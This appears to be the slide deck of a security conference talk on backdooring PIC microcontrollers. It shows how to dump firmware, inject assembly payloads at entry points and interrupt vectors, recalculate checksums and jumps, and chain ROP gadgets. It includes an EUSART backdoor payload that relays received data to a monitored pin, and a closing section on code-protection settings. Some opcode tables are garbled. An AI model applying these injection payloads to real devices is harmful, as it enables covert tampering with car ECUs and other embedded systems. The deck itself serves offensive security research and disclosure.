Backdooring hardware devices by injecting malicious payloads on microcontrollers

By Sheila A. Berta [@UnaPibaGeek]
WHO AM I?

Sheila A. Berta (@UnaPibaGeek)
Offensive Security Researcher

A little bit more:
- Developer in ASM (Microcontrollers & Microprocessors x86/x64), C/C++, Python and Go.
- Speaker at Black Hat (x2), DEF CON (x2), Ekoparty (x4), HITB, PhDays, IEEE... & more.
Many Android Devices Had a Pre-Installed Backdoor, Google Reveals
The list of affected devices includes Leagoo M5 Plus, Leagoo M8, Nomu S10, and Nomu S20.

The Big Hack: How China Used a Tiny Chip to Infiltrate U.S. Companies

Vodafone found hidden backdoors in Huawei equipment

Supermicro hardware weaknesses researchers backdoor an IBM cloud server
Other providers of bare-metal cloud computing might also be vulnerable to backdoors everywhere
MICROCONTROLLERS VS MICROPROCESSORS

Microprocessors
Intel, AMD, ARM

Microcontrollers
Microchip, ATMEL, ST
Microprocessors Overview

- Microprocessors = CPU
- Memories and I/O busses are physically separated.
- Usually bigger than a microcontroller.
- Greater processing capacity.

- Modified-Harvard memory organization.
- 32 or 64 bits (most common).
MICROCONTROLLERS OVERVIEW

- Microcontrollers = CPU + RAM + ROM + I/O busses
- Smaller CPU with less processing capacity.
- Usually smaller size than microprocessors.

- Harvard memory organization.
- 16 bits (most common).
- A little stack.
USE CASES

Raspberry Pi
ARM Microprocessor

Arduino UNO
Atmega Microcontroller
IS WORTH IT?

- Physical Security Systems.
- Car’s ECU.
- Semaphores.
- Elevators.
- Sensors.
- Modules of Industrial systems.
- Home appliances.
- Robots.
- ...
MICROCONTROLLERS PROGRAMMING

USER -> C FILE

ASM FILE -> COMPILER

ASSEMBLER -> HEX FILE

HEX FILE -> PROGRAMMER SOFTWARE

PROGRAMMER HARDWARE -> uC
**MICROCONTROLLERS PROGRAMMING**

ASM code to turning on a LED - (PIC)

```
START
  CLRF PORTD ; Clear PORTD
  MOVLW B'00000000' ; All is Output
  MOVWF TRISD
  BSF PORTD,2 ; Turn on LED
  GOTO $ ; Loop forever
END
```

MPLAB X IDE

BUILD SUCCESSFUL (total time: 313ms)
Loading code from /home/shei/MPLABXProjects/LED1.X/dist/default/production/LED1.X.production.hex...
Loading completed

.hex file (firmware)
MICROCONTROLLERS PROGRAMMING

Microchip (PIC) programmer software

Microchip (PIC) programmer hardware
PIC MEMORY ORGANIZATION

- PROGRAM MEMORY (non-volatile)
- DATA MEMORY (volatile)
- DATA FLASH/EEPROM MEMORY (non-volatile)

- SFR
- GPR
PROGRAM MEMORY DUMP (STEP 1)

Connection from PIC microcontroller to PICKIT 3

@UnaPibaGeek
Using MPLAB X IDE to read (and dump) the program memory
Load the .hex file in the MPLAB X IDE
CODE VS DISASSEMBLY (EXAMPLE)

ASM source code

Disassembly

OpCodes in the .hex dump
PAYLOAD INJECTION: AT THE ENTRY POINT...
PROGRAM STANDARD STRUCTURE (PIC)_

- Reset Vector: always at 0x0000 memory address
- Interrupt Vector: at 0x0008 and 0x0018 memory addresses
- Program entry point
LOCATING THE ENTRY POINT

Example 1 -- Entry point: 0x06
Example 2 -- Entry point: 0x7F84

Entry point
Simple program example
Large program example
Memory address to inject
GENERATING THE PAYLOAD #1 (PoC)

- BCF TRISD, 1 // Set PIN as output
- BSF PORTD, 1 // Turn ON a LED
- BCF TRISD, 2 // Set PIN as output
- BSF PORTD, 2 // Turn ON a LED

Little Endian: 0x9592 0x8382 0x9594 0x8384
INJECTING THE PAYLOAD

Entry point at 0x28

Original program memory (.hex dump)

Payload injected at entry point (0x28)
CHECKSUM RECALCULATION

Sum(bytes on the line) = Not + 1 = checksum

Example: 1000000003EF00F00000959E838E836A000E956E

10+00+00+00+03+EF+00+F0+00+00+95+9E+83+8E+83+6A+00+0E+95+6E = 0x634

Not(0x634) +1 = 0xFFFF 0xFFFF 0xFFFF 0xF9CC

Checksum = 0xCC
CHECKSUM RECALCULATION

https://www.fischl.de/hex_checksum_calculator/

Payload injected and checksum fixed
WRITE THE PROGRAM MEMORY_

Connecting to MPLAB PICkit 3...

Currently loaded firmware on PICkit 3
Firmware Suite Version.... 01.52.02
Firmware type................ PIC18F
Programmer to target power is enabled - VDD = 3.500000 volts.
Target device PIC24FJ64KA304 found.
Device ID Revision = 1x
Loading code from /home/shi/MPLABXProjects/LED2X/modified-firmware.hex...
2019-07-11 21:47:35 - 0300 - Programming...

Device Erased...
Programming...
The following memory area(s) will be programmed:
  program memory: start address = Ox0, end address = Ox7fff
  configuration memory
Programming/Verify complete
2019-07-11 21:47:48 - 0300 - Programming complete
BEFORE / AFTER (PoC)

Original

Payload injected

@UnaPibaGeek
INJECTING TO A CAR'S ECU

Entry point: 0x152A

DEMO TIME!

@UnaPibaGeek
ADVANCED
PAYLOAD INJECTION:
AT THE INTERRUPT VECTOR
PERIPHERALS AND INTERRUPTIONS:

- Internal timers
- A/D converters
- CCP (Capture/Compare/PWM)
- TX/RX busses
- Others
GIE AND PEIE BITS

INTCON

<table>
<thead>
<tr>
<th>GIE</th>
<th>PEIE</th>
<th>TMROIE</th>
<th>INTOIE</th>
<th>RBIE</th>
<th>TMROIF</th>
<th>INTOIF</th>
<th>RBIF</th>
</tr>
</thead>
</table>

BSF INTCON, GIE  // Set GIE to 1
BSF INTCON, PEIE  // Set PEIE to 1

| 26  | 0032 | 8EF2 | BSF INTCON, 7, ACCESS |
| 27  | 0034 | 8CF2 | BSF INTCON, 6, ACCESS |

Interruptions enabled
INTERRUPTION FLAGS

XXIE = Interruption Enabled
XXIF = Interruption Flag

Registers PIE1, PIE2 and PIE3 have interruption enabling bits
Registers PIR1, PIR2 and PIR3 have interruption flags bits
POLLING INSPECTION

; TODO ADD INTERRUPTS HERE IF USED
INT_VEC CODE 0x0008

MOVWF tempw
SWAPF STATUS,w
MOVWF temps

; POLLING:
→ BTFSR PIR1, RCIF
→ CALL RC
→ BTFSR INTCON, TMROIF
→ CALL TM
→ BTFSR PIR1, ADIF
→ CALL AD
→ BTFSR INTCON, INTOIF
→ CALL IN

SWAPF temps,w
MOVWF STATUS
MOVF tempw,w

Interrupt vector
Polling
Polling Inspection

IR1, 5

Call to RC interruption routine

REGISTER 9-4: PIR1: PERIPHERAL INTERRUPT REQUEST (FLAG) REGISTER 1

<table>
<thead>
<tr>
<th>R/W-0</th>
<th>R/W-0</th>
<th>R-0</th>
<th>R-0</th>
<th>R/W-0</th>
<th>R/W-0</th>
<th>R/W-0</th>
<th>R/W-0</th>
</tr>
</thead>
<tbody>
<tr>
<td>PSP!F(1)</td>
<td>ADIF</td>
<td>RCIF</td>
<td>TXIF</td>
<td>SSPIF</td>
<td>CCP1IF</td>
<td>TMR2IF</td>
<td>TMR1IF</td>
</tr>
</tbody>
</table>

PSP!F: Peripheral Status and Control

PIR1, 5 = PIR1, RCIF
### Memory Addresses to Inject a Payload

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Label</th>
<th>DisAssy</th>
</tr>
</thead>
<tbody>
<tr>
<td>0006</td>
<td>FFFF</td>
<td>N0P</td>
<td></td>
</tr>
<tr>
<td>0008</td>
<td>6E00</td>
<td>MOVWF 0x0, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000A</td>
<td>38D0</td>
<td>SWAPF STATUS, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000C</td>
<td>6E01</td>
<td>MOVWF 0x1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>000E</td>
<td>BAE9E</td>
<td>BTFSR R1, 5, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0010</td>
<td>EC24</td>
<td>CALL 0x48, 0</td>
<td></td>
</tr>
<tr>
<td>0012</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0014</td>
<td>6E2F</td>
<td>BTFSR INTCON, 2, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0016</td>
<td>EC27</td>
<td>CALL 0x4E, 0</td>
<td></td>
</tr>
<tr>
<td>0018</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>001A</td>
<td>BCF9E</td>
<td>BTFSR R1, 6, ACCESS</td>
<td></td>
</tr>
<tr>
<td>001C</td>
<td>EC28</td>
<td>CALL 0x56, 0</td>
<td></td>
</tr>
<tr>
<td>001E</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0020</td>
<td>B2F2</td>
<td>BTFSR INTCON, 1, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0022</td>
<td>EC2F</td>
<td>CALL 0x5E, 0</td>
<td></td>
</tr>
<tr>
<td>0024</td>
<td>F000</td>
<td>NOP</td>
<td></td>
</tr>
<tr>
<td>0026</td>
<td>8B01</td>
<td>SWAPF 0x1, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>0028</td>
<td>6E09</td>
<td>MOVWF STATUS, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002A</td>
<td>5000</td>
<td>MOVF 0x0, W, ACCESS</td>
<td></td>
</tr>
<tr>
<td>002C</td>
<td>0010</td>
<td>RETFIE 0</td>
<td></td>
</tr>
<tr>
<td>002E</td>
<td>6A33</td>
<td>CLR PORTD, ACCESS</td>
<td></td>
</tr>
</tbody>
</table>

- **0x48** to inject a payload at the **RC** interruption
- **0x4E** to inject a payload at the **Timer0** interruption
- **0x56** to inject a payload at the **AD** interruption
- **0x5E** to inject a payload at the **INT0** interruption
Step 1: locate where the RC interruption routine begins (by inspecting the polling)

```
0x00E BASE BTFSC PIR1, 5, ACCESS
0x010 EC24 CALL 0x48, 0
```

Call to RC interruption routine

```
0x48
RC interruption routine begins
```

```
BACKDOORING THE EUSART COMMUNICATION PERIPHERAL

Step 2: Cook a payload that makes a relaying of the received data to a TX peripheral which we are able to monitor externally (example)

MOVF  RCREG, W   // Move the received data to “W” register
BSF   TXSTA, TXEN   // Enable transmission
BCF   TXSTA, SYNC   // Set asynchronous operation
BSF   RCSTA, SPEN   // Set TX/CK pin as an output
MOVWF  TXREG   // Move received data (in W) to TXREG to be re-transmitted

<table>
<thead>
<tr>
<th>Opcode</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00D</td>
<td>NOP</td>
</tr>
<tr>
<td>0x0AE</td>
<td>MOVF RCREG, W, ACCESS</td>
</tr>
<tr>
<td>0x0AC</td>
<td>BSF TXSTA, 5, ACCESS</td>
</tr>
<tr>
<td>0x0AC</td>
<td>BSF TXSTA, 4, ACCESS</td>
</tr>
<tr>
<td>0x0AE</td>
<td>BSF RCSTA, 7, ACCESS</td>
</tr>
<tr>
<td>0x0AD</td>
<td>MOVWF TXREG, ACCESS</td>
</tr>
<tr>
<td>0x0AE</td>
<td>BCF PIR1, 5, ACCESS</td>
</tr>
</tbody>
</table>

0xAE50 0xAC8A 0xAC98 0xAB8E 0xAD6E
BACKDOORING THE EUSART COMMUNICATION PERIPHERAL

Step 3: Inject the payload where the RC interruption routine begins

0x48
RC interruption routine begins

Backdoor

DEMO TIME!
FIXING JUMPS: FLOW CORRUPTION

Original program:

```
0x02  CALL 0x10
0x04  NOP
0x06  BSF PORTD,2
0x08  RETFIE
0x10  BCF PIR1, ADIF
0x12  MOV LW 0x16
0x14  SUB LW 0x25
0x16  BTFSC STATUS,Z
```

Program after payload injection:

```
0x02  PAYLOAD CODE
0x04  PAYLOAD CODE
0x06  PAYLOAD CODE
0x08  CALL 0x10
0x10  NOP
0x12  BSF PORTD,2
0x14  RETFIE
0x16  BCF PIR1, ADIF
```

@UnaPibaGeek
FIXING JUMPS: GOTO AND CALL OPCODES

GOTO opcode = 0xEF
CALL opcode = 0xEC
NOP opcode = 0xF0

EF06 F000 = GOTO jumping to 0x0006 offset (0x000C memory address).
EC67 F004 = CALL jumping to 0x0467 offset (0x08CE memory address).

Jump to 0x8CE (memory address) / 2 = 0x0467 offset
FIXING JUMPS: RECALCULATION

Payload injected at memory address: 0x48
Payload length: 10 bytes

Example:

CALL 0x56 (EC2B F000) → Original jump
CALL 0x60 (EC30 F000) → Fixed jump
Original offset + payload length

Three CALL fixed after injection
AUTOMATING PAYLOAD INJECTION

https://github.com/UnaPibaGeek/UCPI

@UnaPibaGeek
STACK
PAYLOAD INJECTION: CONTROLLING PROGRAM FLOW_
STKPTR, TOSU, TOSH AND TOSL

STKPTR = Stack Pointer register
TOSU, TOSH and TOSL = Top of Stack registers
INCF STKPTR, F // SP increment
MOVLW 0x00
MOVWF TOSU // TOSU = 0x00
MOVLW 0x0C
MOVWF TOSH // TOSH = 0x0C
MOVLW 0x72
MOVWF TOSL // TOSL = 0x72
RETURN

Jump to 0x000C72
Jump to 0x000024
ROP-CHAIN_

ROP gadgets:

0x0060 = 0xFC2A000EFF6E000EFE6E600EFD6E (last)
0x0058 = 0xFC2A000EFF6E000EFE6E580EFD6E
0x0050 = 0xFC2A000EFF6E000EFE6E500EFD6E
0x0048 = 0xFC2A000EFF6E000EFE6E480EFD6E
0x0040 = 0xFC2A000EFF6E000EFE6E400EFD6E
0x0038 = 0xFC2A000EFF6E000EFE6E380EFD6E
0x0030 = 0xFC2A000EFF6E000EFE6E300EFD6E
0x0028 = 0xFC2A000EFF6E000EFE6E280EFD6E (first)

RET = 0x1200

Gadget example at 0x0040:

<table>
<thead>
<tr>
<th>Address</th>
<th>Opcode</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>0040</td>
<td>B683</td>
<td>BSF PORTD, 3, ACCESS</td>
</tr>
<tr>
<td>0042</td>
<td>EC03</td>
<td>CALL 0x8, 0</td>
</tr>
<tr>
<td>0044</td>
<td>F000</td>
<td>NOP</td>
</tr>
<tr>
<td>0046</td>
<td>0C00</td>
<td>RETLW 0x0</td>
</tr>
</tbody>
</table>

RETURN or RETLW

DEMO TIME!
PROGRAM MEMORY PROTECTIONS
CODE PROTECTION

Microchip Config Directives

; CONFIG5L
CONFIG CP0 = ON
CONFIG CP1 = ON
CONFIG CP2 = ON
CONFIG CP3 = ON

Program memory dump still works
BOOT AND DATA PROTECTION

Microchip Config Directives

; CONFIG5H
CONFIG CPB = ON
CONFIG CPD = ON

<p>| | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>5</td>
<td>0008</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>6</td>
<td>000A</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>7</td>
<td>000C</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>8</td>
<td>000E</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>9</td>
<td>0010</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>10</td>
<td>0012</td>
<td>0000</td>
<td>NOP</td>
</tr>
<tr>
<td>11</td>
<td>0014</td>
<td>0000</td>
<td>NOP</td>
</tr>
</tbody>
</table>

Program memory dump doesn’t work

@UnaPibaGeek
CONCLUSIONS_
SPECIAL THANKS

Sol (@encodedwitch)
Nico Waisman (@nicowaisman)
Dreamlab Technologies
THANK YOU_

SHEILA A. BERTA (@UNAPIBAGEEK)